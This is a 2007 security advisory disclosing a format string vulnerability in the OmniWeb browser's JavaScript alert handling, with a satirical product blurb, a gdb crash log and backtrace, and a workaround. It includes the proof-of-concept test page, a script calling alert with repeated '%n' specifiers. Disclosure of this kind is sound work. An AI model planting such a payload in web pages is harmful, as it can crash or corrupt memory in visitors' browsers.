DMA[2007-0107a] - 'OmniWeb Javascript Alert Format String Vulnerabiity'
Author: Kevin Finisterre
Vendor(s): http://www.omnigroup.com
Product: 'OmniWeb 5.51 (?)'
References: 
http://www.digitalmunition.com/DMA[2007-0107a].txt
http://www.omnigroup.com/applications/omniweb/
http://projects.info-pull.com/moab/MOAB-07-01-2007.html
http://www.omnigroup.com/applications/omniweb/download/
http://blog.omnigroup.com/2007/01/07/omniweb-552-now-available-and-more-secure/

Description:
You're a Mac fan, right? When people ask you why you like the Mac, you probably think of the attention to detail that 
makes the Mac user experience superior. It's the sum of a lot of different things that add up to a system that's more 
powerful, more beautiful, and more fun.

What if you thought of a web browser in the same way? You use a web browser all the time, for working, for entertainment, 
for research; how cool would it be if every time you used it, you thought "Wow, this rules!"

Welcome to OmniWeb. OmniWeb elevates your web user experience to be more productive, more efficient, and more fun. You'll 
find information more quickly. You'll stay organized. You'll see the entire internet the way you choose. It's the browser 
that puts you in control.

Sure, you can use a standard web browser, with standard features. But you didn't choose a standard software experience - 
you chose the Mac. Why not try a browser built just for discriminating people with fabulous taste, like yourself? 

The only real reason to not make use of such a fabulous browser would be bad code.

(gdb) r /Users/MacFan/Sites/test.html
Starting program: /Applications/OmniWeb.app/Contents/MacOS/OmniWeb /Users/MacFan/Sites/test.html
Reading symbols for shared libraries ...................++..++.......................................................++++
++++.......++. done
OCCCrashCatcher: Not enabling crash catching since we're connected to a tty (and thus presumably in gdb)
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries . done
Reading symbols for shared libraries .. done
Reading symbols for shared libraries ... done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_PROTECTION_FAILURE at address: 0x005dec56
0x9000c0c1 in __vfprintf ()
(gdb) bt
#0  0x9000c0c1 in __vfprintf ()
#1  0x90100ea9 in snprintf_l ()
#2  0x908119d5 in _CFStringAppendFormatAndArgumentsAux ()
#3  0x9081091c in _CFStringCreateWithFormatAndArgumentsAux ()
#4  0x925daa5d in -[NSPlaceholderString initWithFormat:locale:arguments:] ()
#5  0x925fc670 in -[NSString initWithFormat:arguments:] ()
#6  0x9336056f in -[NSAlert buildAlertStyle:title:message:first:second:third:oldStyle:args:] ()
#7  0x934ac77a in _NXDoLocalRunAlertPanel ()
#8  0x934ac4cc in NSRunAlertPanel ()
#9  0x000b6a6e in -[OWTab(WebUIDelegate) webView:runJavaScriptAlertPanelWithMessage:] ()
#10 0x005ded54 in -[WebFrameBridge runJavaScriptAlertPanelWithMessage:] ()
(gdb) shell cat /Users/MacFan/Sites/test.html
<script>alert('%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n')</script>

Workaround:
Download the latest version of OmniWeb or see the MOAB Fixes Google group for a work around